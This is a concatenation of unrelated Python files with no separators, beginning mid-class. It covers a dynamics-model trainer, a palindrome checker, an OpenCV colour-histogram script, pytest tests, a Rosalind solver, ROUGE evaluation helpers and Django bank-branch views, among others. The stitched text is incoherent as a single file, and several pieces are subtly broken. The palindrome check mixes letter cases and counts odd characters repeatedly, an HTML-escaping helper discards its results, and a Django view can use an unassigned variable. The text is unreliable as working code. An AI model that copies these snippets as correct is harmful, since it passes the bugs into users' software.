            self.cast = lambda x: x.cuda()
        else:
            self.cast = lambda x: x.cpu()

        for network in self.networks:
            network = self.cast(network)
            network.train()

    def prepare_eval(self):
        self.cast = lambda x: x.cpu()
        for network in self.networks:
            network = self.cast(network)
            network.eval()

    def update(self, x, u, gradient_updates, debug=False):
        x, u = self.cast(x[:, 0:self.T]), self.cast(u[:, 0:self.T])
        x_pred, _, z_pred, x_dists = self.propagate_solution(x, u)

        L_rec = self.loss_rec(x_pred[:, 0:self.T].reshape(-1, self.x_dim), x[:, 0:self.T].reshape(-1, self.x_dim))

        if self.it % 10 == 0 and debug:
            print(f"z[:, 0], z[:, T-1] = {z_pred[0, 0].detach()} {z_pred[0, 1].detach()}")
            print(f"x_pred[:, 0], x[:, 0] = {x_pred[0, 0].detach()} {x[0, 0].detach()}")
            print(f"x_pred[:, self.T-1], x[:, self.T-1] = {x_pred[0, self.T - 1].detach()} {x[0, self.T - 1].detach()}")

        self.optimizer.zero_grad()
        L = L_rec
        L.backward()
        self.optimizer.step()

        self.it += 1
        return L_rec.item(), L_rec.item(), L_rec.item()

    @classmethod
    def init_from_save(cls, path='param/dvbf_lstm.pkl'):
        save_dict = torch.load(path)
        instance = cls(**save_dict['init_dict'])
        instance.init_dict = save_dict['init_dict']
        for network, params in zip(instance.networks, save_dict['networks']):
            network.load_state_dict(params)

        return instance

    @classmethod
    def init_from_replay_memory(cls, replay_memory, z_dim, u_max):
        init_dict = {'seq_length': replay_memory.seq_length,
                     'x_dim': replay_memory.state_dim,
                     'u_dim': replay_memory.action_dim,
                     'z_dim': z_dim,
                     'u_max': u_max,
                     'sys': replay_memory.env.name}
        instance = cls(**init_dict)
        instance.init_dict = init_dict
        return instance


'''
Given a string, check if it can be rearranged to form a palindrome.
'''

from collections import defaultdict

class Solution:
    def checkForPalindrome(self, s: str) -> bool:
        # Basically counnting all of the characters. We must have an all even count, or an all even count with one odd
        h = defaultdict(lambda: 0)
        for c in s:
            h[c.lower()] += 1
        isOddUsed = False
        for c in s:
            if h[c] % 2 == 1:
                if not isOddUsed:
                    isOddUsed = True
                else:
                    return False
        return True

s = Solution()
print(s.checkForPalindrome('foxyfoxfoxfox'))


import cv2                      #导入 Opencv
import os
import numpy as np
import matplotlib.pyplot as plt
from skimage import color  # require skimage
import torchvision.transforms as transforms
import torch
from scipy import stats

# a = torch.randint(size=(1, 3, 6, 6), high=10)
# b = a[:, 1, :, :]
# print(a, b)

img_file = r"H:\Datasets\VOC2012\JPEGImages\2007_000123.jpg" #读取图片
img = cv2.imread(img_file, 1)
img1 = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) #z BGR转RGB
lab = color.rgb2lab(img1).astype(np.float32)
print(lab)
# lab_t = transforms.ToTensor()(lab)
# print(lab)
# L = lab_t[[0], ...] / 50.0 - 1.0
# AB = lab_t[[1, 2], ...] / 110.0
L = lab[:, :, 0]
AB = lab[:, :, 1:3]
img_a = AB[:, :, 0] + 128
img_b = AB[:, :, 1] + 128
a = np.around(img_a.flatten(), decimals=3)
b = np.around(img_b.flatten(), decimals=3)
L = np.around(L.flatten(), decimals=3)
# a = img_a.flatten()
# b = img_b.flatten()
# print(a, b)
za = stats.mode(a)[0][0]
zb = stats.mode(b)[0][0]
zl = stats.mode(L)[0][0]
print(zl, za, zb)
# LAB = torch.cat((L, AB), dim=0)
# print(L, LAB)
# 按R、G、B三个通道分别计算颜色直方图
# 显示3个通道的颜色直方图
# plt.plot(b_hist, label='B', color='blue')
# plt.plot(g_hist, label='G', color='green')
# plt.plot(r_hist, label='R', color='red')
# plt.legend(loc='best')
# plt.xlim([0, 256])
# plt.show()
#
hist_a = cv2.calcHist([a], [0], None, [256], [0, 255])
hist_b = cv2.calcHist([b], [0], None, [256], [0, 255])
hist_L = cv2.calcHist([L], [0], None, [100], [0, 99])
plt.plot(hist_a)
plt.plot(hist_b)
plt.plot(hist_L)
plt.xlim([0, 255])
plt.show()

# # ============================ √ rgb2lab2rgb =================================
# img_file = r"H:\SMU\dataset\EUVP\test_samples-20230425T075315Z-001\test_samples\TrainA\test_p0_.jpg"  #读取图片
# img = cv2.imread(img_file, 1)
# img1 = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) #z BGR转RGB
# img2 = img1.transpose([2, 0, 1])
# img3 = img2.transpose([1, 2, 0])
# lab = color.rgb2lab(img1).astype(np.float32)
# lab_t = transforms.ToTensor()(lab)
# L = lab_t[[0], ...] / 50.0 - 1.0
# AB = lab_t[[1, 2], ...] / 110.0
#
#
# AB2 = AB * 110.0
# L2 = (L + 1.0) * 50.0
# print(L2.shape, AB2.shape)
# Lab = torch.cat([L2, AB2], dim=0)
# print(Lab.shape)
# Lab = Lab.data.cpu().float().numpy()
# Lab = np.transpose(Lab.astype(np.float64), (1, 2, 0))
# rgb = np.around(color.lab2rgb(Lab) * 255)
# rgb = rgb.astype(np.int)
#
# print(img1, rgb, img1==rgb)
#
# plt.imshow(rgb)
# plt.show()

ZGP/颜色直方图/直方图.py


#coding=utf-8
'''
Created on 2015年5月28日
'''
from common.errors import BaseError
__author__ = 'chenjian'

class BaseException(Exception):
    '''
    异常类
    '''
    def __init__(self, code, **kwargs):
        '''
        Constructor
        '''
        self.code = code
        self.message = BaseError.get_message(code)
        self.ext = kwargs

class ParamException(BaseException):
    '''
    UFOException的一个特例
    '''

    def __init__(self, name, **kwargs):
        '''
        '''

        BaseException.__init__(self, BaseError.ERROR_COMMON_REQUEST_PARAM_INVALID, **kwargs)

        self.message = '参数缺失或非法:' + name

class DBException(Exception):
    '''
    数据库异常类, 该异常属于底层数据库操作异常, 和业务逻辑无关.
    在业务层(processor)中捕获该异常后需要转化为UFOException
    '''


import pytest
import translation
import simple_cv
import dict_json

'''
Simple pytest file for checking the correctness of main methods.
'''
def test_1():
	'''
	translation.translate() Test 1.
	This test proves correctness of Google translation function.
	'''
	initial_word = 'собака'
	answer = 'dog'
	assert translation.translate(initial_word, 'eng', 'ru') == answer, "test failed"

def test_2():
	'''
	translation.translate() Test 2.
	This test proves correctness of Google translation function.
	'''
	initial_word = 'dog'
	answer = 'собака'
	assert translation.translate(initial_word, 'ru', 'eng') == answer, "test failed"

def test_3():
	'''
	simple_cv.get_image_text() Test.
	This test proves correctness of OCR PyTesseract image reading.
	'''
	path = '/home/biowar/IPZProject7103/TelegramBot/Test_image2.jpg'
	answer = 'Яблучний сік'
	assert answer in simple_cv.get_image_text(path, lang='ukr') , "test failed"

def test_4():
	'''
	dict_json.vocabulary() Test.
	Simple test for getting data from json.
	'''
	initial_word = 'dog'
	answer = ['A common four-legged animal, especially kept by people as a pet or to hunt or guard things.', 'A dull, unattractive girl or woman.', 'An iron for holding wood in a fireplace.']
	assert dict_json.vocabulary('dog') == answer, "test failed"


import pandas as pd
import random
from PSO import PSO
from utils import Configuration
from squared_error import Error_Function
from glass_permittivity import (BK7)

#Some functions
def Sphere(x):
    total=0
    for i in range(len(x)):
        total+=x[i]**2
    return total

def Rosenbrock(x):
    total=0
    for i in range(len(x)):
        total += ((100 * (x[i] - x[i]**2)**2) + (x[i] - 1)**2)
    return total

def Exec1():
    Error = Error_Function()
    Error.file_path = "Celula_38.prn"
    Error.wavelength = 975.1
    Error.permittivity_real_2 = 1
    Error.permittivity_imag_2 = 0
    Error.permittivity_glass = BK7(975.1)

    return  Error

PSO(Exec1().get_error)


# Overlap Graphs

# opens the file and reads all lines into "lines"
with open("rosalind_grph.txt") as fasta:
	lines = fasta.readlines()
# concatenates the sequence strings and separates the string ID from the sequence (not the most elegant solution...)
fastalist = []
for line in lines:
	if line.startswith(">"):
		line = "\n"+line.strip()+"\n"
		fastalist.append(line)
	else:
		line = "" + line.strip()
		fastalist.append(line)
fastalist = ''.join(fastalist)[1:].split('\n')

seq = dict(zip(fastalist[::2], fastalist[1::2]))

# replace sequence with list of first and last 3 nucleotides > not really necessary, could be included in the for-loop
seq.update((id, [s[0:3],s[-3:]]) for id, s in seq.items())

# convert dictionary to list of tuples and remove leading character (>) from sequence ID

seq =[(id.lstrip(">"),s) for id, s in seq.items()]

# create adjacency list
adj =[]

for s in seq:
	for t in seq:
		edge1 = s
		edge2 = t
		# compare tail of first sequence to head of second sequence and exclude same-sequence comparisons
		if edge1[1][1] == edge2[1][0] and not edge1[0] == edge2[0]:
			adj.append((edge1[0], edge2[0]))

# write output to file
with open("grph_output.txt", "w") as out:
	for item in adj:
		out.writelines(str(item[0]) + " " + str(item[1])+ "\n")


#!/usr/bin/python

import json, sys, zmq
from optparse import OptionParser

class terminal_colors:
    red = '\033[31m'
    green = '\033[32m'
    yellow = '\033[33m'
    blue = '\033[34m'
    cyan = '\033[36m'
    bright_red = '\033[91m'
    bright_green = '\033[92m'

    bold = '\033[1m'
    faint = '\033[2m'

    end = '\033[0m'

def main():
    parser = OptionParser()

    parser.add_option('', '--raw',
        dest='raw', action='store_true',
        help='output raw JSON objects, rather than parsing the log output', default=False)

    options, args = parser.parse_args()

    context = zmq.Context()
    socket = context.socket(zmq.SUB)
    socket.connect('tcp://127.0.0.1:10452')
    socket.setsockopt(zmq.SUBSCRIBE, '')

    while True:
        line = socket.recv()
        if options.raw:
            sys.stdout.write(line)
        else:
            message = json.loads(line)

            if 'stdout' in message:
                sys.stdout.write(message['stdout'])
                sys.stdout.flush()
            if 'stderr' in message:
                sys.stdout.write(terminal_colors.red + message['stderr'] + terminal_colors.end)
                sys.stdout.flush()

if __name__ == '__main__':
    main()


from itertools import combinations

def solution(nums):
    answer = -1

    comb = list(combinations(nums,3))
    sum_comb = [sum(c) for c in comb]

    prime = len(sum_comb)
    for num in sum_comb:
        for i in range(2, num):
            if(num % i == 0):
                prime -= 1
                break

    answer = prime
    return answer


from src.findAHelix.diagonalSteper import diaStep
from src.funcs.listAnalyst import anaList
from src.operateOfSQL.aHelixSQLOperater import aHelixSQLOP

class extractAHelix:
    def __init__(self, pdbID: str, overWrite=False, dsspPath=None):
        self.pdbID = pdbID.lower()

        self.dS = diaStep(self.pdbID, overWrite=overWrite, dsspPath=dsspPath)

    def __bool__(self):
        if bool(self.dS) == False:
            return False
        else:
            return True

    def dropDSSP(self):
        # sql = aHelixSQLOP(pdbID=self.pdbID, database='alphaFeatures')
        # sql.dropTable()
        # sql.db.close()

        self.dS.dR.dsspDeleter()

    def featureOfAHelixs(self, overWrite=False):
        '''分组计算某蛋白质每种间隔中，所有α螺旋的距离范围。'''
        diaLines = self.dS.stepDiaLines()
        lM = anaList()
        sql = aHelixSQLOP(pdbID=self.pdbID, database='alphaFeatures')

        if overWrite == False and sql.tableExist() == True and sql.entryAmount != 0:
            alphaFeatures = sql.loadFrDB()
            sql.db.close()
            return alphaFeatures

        else:
            alphaFeatures = {}
            disInfos = []
            for step in diaLines:
                # 以间隔长短遍历
                alphaFeature = {}
                # print("两残基编号相差{}时：".format(step))

                for aRange in diaLines[step]:
                    # 以α螺旋范围遍历
                    uList = diaLines[step][aRange]

                    if len(uList) <= 6:
                        continue
                    # print("  {}中的距离特征为：".format(aRange))
                    mR = lM.rangeDis(uList)
                    # print("\t相隔{}的距离范围为：".format(step), mR)
                    mD = lM.meanDis(uList)
                    # print("\t相隔{}的平均距离为：".format(step), mD)
                    vD = lM.varDis(uList)
                    # print("\t相隔{}的距离方差为：".format(step), vD)
                    if mR == 0 or mD == 0 or vD == 0:
                        continue

                    alphaFeature[aRange] = mR  # 范围内的最大最小值

                    disInfo = [step, aRange]  # 相差位数， 范围
                    disInfo.append(mR[0])  # α螺旋最小距离
                    disInfo.append(mR[1])  # α螺旋最大距离
                    disInfo.append(mR[1]-mR[0])  # 距离差值
                    disInfo.append(mD)  # 平均数
                    disInfo.append(vD)  # 方差

                    disInfos.append(disInfo)

                alphaFeatures[step] = alphaFeature

            sql.saveToDB(disInfos, True)
            sql.db.close()
        return alphaFeatures

if __name__ == '__main__':
    # from src.funcs.dirWalker import getPDBID
    # pdbIDs=getPDBID()
    # for pdbID in pdbIDs:
    pdbID = '1a0a'
    fE = extractAHelix(pdbID, True)
    # print(fE.getMstClr([(1,2,3),(1,2,3),(1,2,3),(3,2,1)]))
    print(fE.featureOfAHelixs(overWrite=True))  #


#Content of this file is copied from https://github.com/abisee/pointer-generator/blob/master/
import os
import csv
import pyrouge
import logging
import tensorflow as tf
import config
from config import *
from TeluguTokenizer.tokenizer import *
from rouge_score import rouge_scorer

def print_results(article, abstract, decoded_output):
  print ("")
  print('ARTICLE:  %s', article)
  print('REFERENCE SUMMARY: %s', abstract)
  print('GENERATED SUMMARY: %s', decoded_output)
  print( "")

def make_html_safe(s):
  s.replace("<", "<")
  s.replace(">", ">")
  return s

def sent_tokenize(text):
    processed_data = preprocess_data(text)        ### Preprocessing data
    sentences = sentence_tokenize(processed_data) ### Sentencification
    data = ""
    for sent in sentences:
        data += sent +"\n"
    return data.strip()

def rouge_eval(ref_dir, dec_dir):
  rouge_scores = []
  count = 0
  scorer = rouge_scorer.RougeScorer(['rouge1', 'rouge2', 'rougeL', 'rougeLsum'], lang="telugu")
  for dfile in sorted(os.listdir(dec_dir)):
    found = False
    if dfile.endswith('.txt'):
      print(dfile)
      for rfile in sorted(os.listdir(ref_dir)):
        if rfile.endswith('.txt') and dfile.split('_')[0] == rfile.split('_')[0]:
          print(rfile)
          found = True
          break
      if found:
        count += 1
        hypo = open(dec_dir+'/'+ dfile, 'r', encoding='utf-8').read()
        hypo_sents = sent_tokenize(hypo)
        ref = open(ref_dir +'/'+rfile, 'r', encoding='utf-8').read()
        ref_sents = sent_tokenize(ref)
        # hypo_wx = con.convert(hypo)
        # ref_wx = con.convert(ref)
        scores = scorer.score(ref_sents, hypo_sents)
        rouge_scores.append({'file': dfile, 'rouge-1_f': scores['rouge1'][2], 'rouge-2_f': scores['rouge2'][2], 'rouge-l_f': scores['rougeL'][2], 'rouge-l-sum_f': scores['rougeLsum'][2]})
        # print(rouge_scores)
        # exit()
        print(count, '  ', config.modelname)

  print("\n------------------------------------------------------\n")
  # print(rouge_scores)
  score_tags = list(rouge_scores[0].keys())
  print("score_tags are: ", score_tags)
  print("Writing final ROUGE results into a csv file")
  filename = str(config.modelname)+"_rouge.csv"
  with open(filename, 'w') as csvfile:
    writer = csv.DictWriter(csvfile, fieldnames=score_tags)
    writer.writeheader()
    writer.writerows(rouge_scores)

  # r = pyrouge.Rouge155()
  # r.model_filename_pattern = '#ID#_reference.txt'
  # r.system_filename_pattern = '(\d+)_decoded.txt'
  # r.model_dir = ref_dir
  # r.system_dir = dec_dir
  # logging.getLogger('global').setLevel(logging.WARNING) # silence pyrouge logging
  # rouge_results = r.convert_and_evaluate()
  # return r.output_to_dict(rouge_results)

# def rouge_log(results_dict, dir_to_write):
#   log_str = ""
#   for x in ["1","2","l"]:
#     log_str += "\nROUGE-%s:\n" % x
#     for y in ["f_score", "recall", "precision"]:
#       key = "rouge_%s_%s" % (x,y)
#       key_cb = key + "_cb"
#       key_ce = key + "_ce"
#       val = results_dict[key]
#       val_cb = results_dict[key_cb]
#       val_ce = results_dict[key_ce]
#       log_str += "%s: %.4f with confidence interval (%.4f, %.4f)\n" % (key, val, val_cb, val_ce)
#   print(log_str)
#   results_file = os.path.join(dir_to_write, "ROUGE_results.txt")
#   print("Writing final ROUGE results to %s..."%(results_file))
#   with open(results_file, "w") as f:
#     f.write(log_str)

def calc_running_avg_loss(loss, running_avg_loss, summary_writer, step, decay=0.99):
  writer = summary_writer
  if running_avg_loss == 0:  # on the first iteration just take the loss
    running_avg_loss = loss
  else:
    running_avg_loss = running_avg_loss * decay + (1 - decay) * loss
  running_avg_loss = min(running_avg_loss, 12)  # clip
  loss_sum = tf.compat.v1.Summary()
  # loss_sum = tf.Summary()
  tag_name = 'running_avg_loss/decay=%f' % (decay)
  loss_sum.value.add(tag=tag_name, simple_value=running_avg_loss)
  #summary_writer.add_summary(loss_sum, step)
  with writer.as_default():
    tf.summary.scalar(tag_name, running_avg_loss, step=step)
    writer.flush()
  return running_avg_loss

out = open(log_root+"/"+"Output_pg_wo_emb.txt","w")

def write_for_rouge(input_article, reference_sents, decoded_words, ex_index, _rouge_ref_dir, _rouge_dec_dir, _rouge_article_dir):
  decoded_sents = []
  while len(decoded_words) > 0:
    try:
      fst_period_idx = decoded_words.index(".")
    except ValueError:
      fst_period_idx = len(decoded_words)
    sent = decoded_words[:fst_period_idx + 1]
    decoded_words = decoded_words[fst_period_idx + 1:]
    decoded_sents.append(' '.join(sent))

  # pyrouge calls a perl script that puts the data into HTML files.
  # Therefore we need to make our output HTML safe.
  decoded_sents = [make_html_safe(w) for w in decoded_sents]
  reference_sents = [make_html_safe(w) for w in reference_sents]

  ref_file = os.path.join(_rouge_ref_dir, "%06d_reference.txt" % ex_index) ##list of string formate
  decoded_file = os.path.join(_rouge_dec_dir, "%06d_decoded.txt" % ex_index) ##list of string
  article_file = os.path.join(_rouge_article_dir, "%06d_article.txt" % ex_index) ### whole context as one string

  with open(ref_file, "w") as f:
    for idx, sent in enumerate(reference_sents):
      f.write(sent) if idx == len(reference_sents) - 1 else f.write(sent + "\n")

  with open(decoded_file, "w") as f:
    for idx, sent in enumerate(decoded_sents):
      f.write(sent) if idx == len(decoded_sents) - 1 else f.write(sent + "\n")

  with open(article_file, "w") as f:
    f.write(input_article)

  #print("Wrote example %i to file" % ex_index)
  out.write("Article: %s \n"%str(input_article))
  out.write("Reference_Summary: %s \n"%str(("".join(reference_sents))))
  out.write("System_Generated_Summary: %s \n"%str(("".join(decoded_sents))))
  out.write("@------------------------------------------------------------------------------------@\n")


from django.shortcuts import render, get_object_or_404
from drf_yasg import openapi
from drf_yasg.utils import swagger_auto_schema
from rest_framework import generics
from rest_framework.decorators import action

from .errors import MissingQueryParameterException
from .models import Banks, Branches
from .serializers import BankSerializer, BranchSerializer

class BranchListView(generics.ListAPIView):
    serializer_class = BranchSerializer

    def get_queryset(self):
        bank_name = self.request.query_params.get('bank_name')
        city = self.request.query_params.get('city')
        if city is None and bank_name is None:
            raise MissingQueryParameterException(
                detail='city and bank_name missing in query params. Provide at least one.')
        results = None
        if city:
            res = Branches.objects.filter(city=city)
        if bank_name:
            res = res.filter(bank__name=bank_name)
        return res

    city_param = openapi.Parameter(
        'city',
        openapi.IN_QUERY,
        description="The city to query for.",
        type=openapi.TYPE_STRING)
    bank_name_param = openapi.Parameter(
        'bank_name',
        openapi.IN_QUERY,
        description="The bank name to search for.",
        type=openapi.TYPE_STRING)

    @swagger_auto_schema(manual_parameters=[
        city_param, bank_name_param
    ])
    def get(self, request, *args, **kwargs):
        return super().get(request, *args, **kwargs)

class BranchRetrieveView(generics.RetrieveAPIView):
    serializer_class = BranchSerializer

    def get_object(self):
        ifsc = self.kwargs.get('ifsc', None)
        if ifsc is None:
            raise MissingQueryParameterException(
                detail='ifcs code missing in url params.')

        return get_object_or_404(Branches, ifsc=ifsc)